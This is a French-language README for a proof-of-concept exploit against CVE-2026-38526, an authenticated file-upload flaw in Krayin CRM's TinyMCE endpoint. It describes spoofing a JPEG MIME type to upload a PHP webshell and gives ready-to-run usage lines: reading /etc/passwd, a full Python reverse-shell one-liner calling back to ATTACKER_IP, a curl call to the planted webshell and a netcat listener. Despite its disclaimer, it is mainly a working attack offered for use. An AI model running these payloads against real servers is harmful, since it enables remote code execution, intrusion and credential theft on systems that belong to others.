CVE-2026-38526 - Krayin CRM RCE par téléversement PHP

Exploit automatisé pour Krayin CRM ≤ 2.2.x. Ce script exploite une vulnérabilité de téléversement de fichiers sans restriction dans le point de terminaison TinyMCE (/admin/tinymce/upload), contourne la validation du type MIME en usurpant image/jpeg, téléverse un webshell PHP et exécute des commandes arbitraires avec les privilèges du serveur web.

Détails de la vulnérabilité

Prérequis

• Python 3.7+
• Identifiants admin valides pour l'instance Krayin CRM cible
• Accès réseau à l'application cible
• Bibliothèque requests

Installation

git clone https://github.com/b0nyo/CVE-2026-38526.git
cd CVE-2026-38526
pip3 install -r requirements.txt

Utilisation

python3 CVE-2026-38526.py -i <TARGET_URL> -u <USERNAME> -p <PASSWORD> [-c <COMMAND>]

Arguments

Exemples

# Basic check
python3 CVE-2026-38526.py -i http://target.com -u [email protected] -p "AdminPassword123!"

# Custom command
python3 CVE-2026-38526.py -i target.com -u [email protected] -p "AdminPassword123!" -c "cat /etc/passwd"

# Reverse shell
python3 CVE-2026-38526.py -i target.com -u [email protected] -p "AdminPassword123!" -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'"

Déroulement de l'exploit

1. Authentification : Extraire le jeton CSRF de la page de connexion, s'authentifier avec les identifiants fournis
2. Validation de session : Extraire un nouveau jeton CSRF du tableau de bord authentifié
3. Téléversement du webshell : Téléverser la charge utile PHP vers /admin/tinymce/upload avec un type MIME usurpé
4. Exécution de commandes : Exécuter des commandes arbitraires via le paramètre GET du webshell

Exemple de sortie

[*] Target: http://target.com
[*] Username: [email protected]

[*] Authenticating...
[+] Authentication successful

[*] Uploading webshell...
[+] Webshell uploaded: http://target.com/storage/tinymce/abc123def456.php
[+] CVE-2026-38526 CONFIRMED - Remote Code Execution

[*] Executing: id
[*] Output:
────────────────────────────────────────────────────────────────────
uid=33(www-data) gid=33(www-data) groups=33(www-data)
────────────────────────────────────────────────────────────────────

[*] Manual execution (curl):
curl 'http://target.com/storage/tinymce/abc123def456.php?cmd=id'

Problèmes courants

Échec de l'authentification : Vérifiez que les identifiants sont corrects et que le compte existe sur la cible.

Échec de l'extraction du jeton CSRF : Assurez-vous que la cible exécute une version vulnérable de Krayin CRM et que le point de terminaison de connexion est accessible.

Le reverse shell ne se connecte pas : Assurez-vous que votre listener est actif (nc -lvnp <PORT>), que les règles du pare-feu autorisent les connexions sortantes et que l'IP/le port de la charge utile sont corrects.

Avertissement

Cet outil est fourni strictement pour des tests de sécurité autorisés et à des fins éducatives uniquement. L'accès non autorisé à des systèmes informatiques est illégal. Les utilisateurs sont seuls responsables de s'assurer qu'ils disposent d'une autorisation appropriée avant de tester tout système cible. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.

Références

• TREXNEGRO Security Advisory - CVE-2026-38526
• Krayin CRM GitHub
• OWASP - Téléversement de fichiers sans restriction

Auteur

b0nyo - Implémentation du PoC

• GitHub

TREXNEGRO - Découverte de la vulnérabilité

• Security Advisories